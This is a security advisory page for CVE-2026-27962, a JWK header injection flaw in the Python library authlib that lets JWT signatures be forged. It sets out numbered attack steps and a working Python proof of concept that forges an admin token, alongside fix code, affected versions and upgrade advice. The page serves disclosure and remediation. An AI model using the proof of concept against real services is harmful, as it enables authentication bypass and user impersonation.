CVE-2026-27962: Authlib JWS JWK Header Injection: Signature Verification Bypass

Published Mar 16, 2026
·
Updated

Description

Summary

A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely.

This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.

Details

Vulnerable file: authlib/jose/rfc7515/jws.py Vulnerable method: JsonWebSignature.preparealgorithmkey() Lines: 272–273

python elif key is None and "jwk" in header: key = header["jwk"] # ← attacker-controlled key used for verification

When key=None is passed to jws.deserializecompact(), jws.deserializejson(), or jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key.

RFC 7515 violations:

- §4.1.3 explicitly states the jwk header parameter is "NOT RECOMMENDED" because keys embedded by the token submitter cannot be trusted as a verification anchor. - §5.2 (Validation Algorithm) specifies the verification key MUST come from the application context, not from the token itself. There is no step in the RFC that permits falling back to the jwk header when no application key is provided.

Why this is a library issue, not just a developer mistake:

The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:

python def lookupkey(header, payload): kid = header.get("kid") return jwkscache.get(kid) # returns None when kid is unknown/rotated

jws.deserializecompact(token, lookupkey)

When an attacker submits a token with an unknown kid, the callable legitimately returns None. The library then silently falls through to key = header["jwk"], trusting the attacker's embedded key. The developer never wrote key=None — the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.

Attack steps:

1. Attacker generates an RSA or EC keypair. 2. Attacker crafts a JWT payload with any desired claims (e.g. {"role": "admin"}). 3. Attacker signs the JWT with their private key. 4. Attacker embeds their public key in the JWT jwk header field. 5. Attacker uses an unknown kid to cause the key resolver to return None. 6. The library uses header["jwk"] for verification — signature passes. 7. Forged claims are returned as authentic.

PoC

Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).

Requirements: pip install authlib cryptography

Exploit script: python from authlib.jose import JsonWebSignature, RSAKey import json

jws = JsonWebSignature(["RS256"])

Step 1: Attacker generates their own RSA keypair attackerprivate = RSAKey.generatekey(2048, isprivate=True) attackerpublicjwk = attackerprivate.asdict(isprivate=False)

Step 2: Forge a JWT with elevated privileges, embed public key in header header = {"alg": "RS256", "jwk": attackerpublicjwk} forgedpayload = json.dumps({"sub": "attacker", "role": "admin"}).encode() forgedtoken = jws.serializecompact(header, forgedpayload, attackerprivate)

Step 3: Server decodes with key=None — token is accepted result = jws.deserializecompact(forgedtoken, None) claims = json.loads(result["payload"]) print(claims) # {'sub': 'attacker', 'role': 'admin'} assert claims["role"] == "admin" # PASSES

Expected output: {'sub': 'attacker', 'role': 'admin'}

Docker (self-contained reproduction): bash sudo docker run --rm authlib-cve-poc:latest \ python3 /workspace/pocs/pocauth001jwsjwkinjection.py

Impact

This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:

- key=None is passed directly, or - a key resolver callable returns None for unknown/rotated kid values (the common JWKS lookup pattern)

An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised.

This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself.

Minimal fix — remove the fallback from authlib/jose/rfc7515/jws.py:272-273: python DELETE: elif key is None and "jwk" in header: key = header["jwk"]

Recommended safe replacement — raise explicitly when no key is resolved: python if key is None: raise MissingKeyError("No key provided and no valid key resolvable from context.")

Other sources

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.

NVD

Affected Software

3 affected componentsFixes available
pip/authlib<=1.6.8
1.6.9
Authlib Authlib<1.6.9
debian/python-authlib<=0.15.4-1, <=1.2.0-1+deb12u1, <=1.6.0-1+deb13u1
0.15.4-1+deb11u21.7.2-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/authlib to a version that resolves this vulnerability.

    Fixed in 1.6.9
  2. Upgrade

    Upgrade debian/python-authlib to a version that resolves this vulnerability.

    Fixed in 0.15.4-1+deb11u2Fixed in 1.7.2-1
  3. Upgrade

    Upgrade authlib to a version that resolves this vulnerability.

    Fixed in 1.6.9
  4. Configuration

    Apply the safe behavior in JsonWebSignature._prepare_algorithm_key(): if the resolved key is None, do not fall back to using the attacker-supplied JWT header jwk field; instead raise MissingKeyError as described (removing the fallback from authlib/jose/rfc7515/jws.py:272-273 and explicitly raising when no key is resolved).

    authlib/jose/rfc7515/jws.py (JsonWebSignature._prepare_algorithm_key()) MissingKeyError when key is None and no valid key is resolvable from context = raise MissingKeyError("No key provided and no valid key resolvable from context.")

Event History

Mar 16, 2026
Advisory Published
via GitHub·03:17 PM
Data Sourced
via GitHub·03:17 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·05:34 PM
Data Sourced
via MITRE·05:34 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·06:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·06:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 16, 2026
Data Sourced
via Ubuntu·07:47 PM
RemedyDescriptionSeverityAffected Software
Data Sourced
via Debian·07:49 PM
DescriptionAffected Software
Data Sourced
via Launchpad·07:49 PM
Description
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-27962?

CVE-2026-27962 is considered a high severity vulnerability due to its potential for unauthenticated attackers to forge JWT tokens.

2

How do I fix CVE-2026-27962?

To fix CVE-2026-27962, upgrade your Authlib package to version 1.6.9 or later.

3

What software is affected by CVE-2026-27962?

CVE-2026-27962 affects versions of Authlib prior to 1.6.9, specifically versions up to and including 1.6.8.

4

What type of attack does CVE-2026-27962 enable?

CVE-2026-27962 enables attackers to bypass signature verification on forged JWT tokens via JWK header injection.

5

Can I use Authlib safely after upgrading for CVE-2026-27962?

Yes, using Authlib version 1.6.9 or higher mitigates the risks associated with CVE-2026-27962.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203